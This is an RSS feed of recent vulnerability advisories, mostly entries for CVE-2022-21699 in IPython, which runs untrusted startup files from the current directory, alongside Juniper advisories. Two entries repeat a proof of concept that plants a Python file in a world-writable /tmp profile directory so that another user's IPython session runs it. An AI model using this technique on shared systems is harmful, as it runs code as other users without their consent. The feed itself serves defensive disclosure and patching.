https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-02T17:14:58.699960+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/bdu:2022-05761 bdu:2022-05761 2026-10-02T17:14:58.798254+00:00 bdu:2022-05761 https://cve.radiocsirt.org/vuln/brew-fdroidserver-cve-2022-21699 BREW-fdroidserver-CVE-2022-21699 — Execution with Unnecessary Privileges in ipython 2026-10-02T17:14:58.798289+00:00

Affected: Homebrew: fdroidserver

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another. Proof of concept

User1: ``` mkdir -m 777 /tmp/profile_default mkdir -m 777 /tmp/profile_default/startup echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py ```

User2: ``` cd /tmp ipython ```

User2 will see: ``` Python 3.9.7 (default, Oct 25 2021, 01:04:21) Type 'copyright', 'credits' or 'license' for more information IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help. stealing your private secrets ```

## Patched release and documentation

See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,

Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.

 https://cve.radiocsirt.org/vuln/certfr-2024-avi-0027 certfr-2024-avi-0027 — De multiples vulnérabilités ont été découvertes dans les produits Juniper Networks. Certaines d'entre elles permettent… 2026-10-02T17:14:58.798338+00:00 certfr-2024-avi-0027 https://cve.radiocsirt.org/vuln/euvd-2026-232840 EUVD-2026-232840 2026-10-02T17:14:58.798356+00:00 EUVD-2026-232840 https://cve.radiocsirt.org/vuln/fkie_cve-2022-21699 fkie_cve-2022-21699 2026-10-02T17:14:58.798367+00:00

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

 https://cve.radiocsirt.org/vuln/ghsa-pq7m-3gw7-gq5x GHSA-pq7m-3gw7-gq5x — Execution with Unnecessary Privileges in ipython 2026-10-02T17:14:58.798388+00:00

Affected: PyPI: ipython

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another. Proof of concept

User1: ``` mkdir -m 777 /tmp/profile_default mkdir -m 777 /tmp/profile_default/startup echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py ```

User2: ``` cd /tmp ipython ```

User2 will see: ``` Python 3.9.7 (default, Oct 25 2021, 01:04:21) Type 'copyright', 'credits' or 'license' for more information IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help. stealing your private secrets ```

## Patched release and documentation

See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,

Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.

 https://cve.radiocsirt.org/vuln/gsd-2022-21699 gsd-2022-21699 2026-10-02T17:14:58.798424+00:00 gsd-2022-21699 https://cve.radiocsirt.org/vuln/msrc_cve-2022-21699 msrc_CVE-2022-21699 — Execution with Unnecessary Privileges in ipython 2026-10-02T17:14:58.798435+00:00 msrc_CVE-2022-21699 https://cve.radiocsirt.org/vuln/opensuse-su-2022:10043-1 openSUSE-SU-2022:10043-1 — Security update for python-ipython 2026-10-02T17:14:58.798451+00:00

Security update for python-ipython

 https://cve.radiocsirt.org/vuln/pysec-2022-12 PYSEC-2022-12 2026-10-02T17:14:58.798466+00:00

Affected: PyPI: ipython

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

 https://cve.radiocsirt.org/vuln/ubuntu-cve-2022-21699 UBUNTU-CVE-2022-21699 2026-10-02T17:14:58.798484+00:00

Affected: Ubuntu:Pro:14.04:LTS: ipython, Ubuntu:Pro:16.04:LTS: ipython, Ubuntu:Pro:18.04:LTS: ipython, Ubuntu:Pro:20.04:LTS: ipython

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

 https://cve.radiocsirt.org/vuln/wid-sec-w-2024-0064 WID-SEC-W-2024-0064 — Juniper Produkte: Mehrere Schwachstellen 2026-10-02T17:14:58.798507+00:00

Ein Angreifer aus dem angrenzenden Netzwerk oder ein entfernter, anonymer, authentisierter, lokaler oder physischer Angreifer kann mehrere Schwachstellen in Juniper JUNOS, Juniper JUNOS Evolved, Juniper SRX Series, Juniper EX Series, Juniper QFX Series, Juniper ACX Series, Juniper PTX Series und Juniper MX Series ausnutzen, um beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen, vertrauliche Informationen offenzulegen, einen Denial-of-Service-Zustand herbeizuführen und seine Berechtigungen zu erweitern.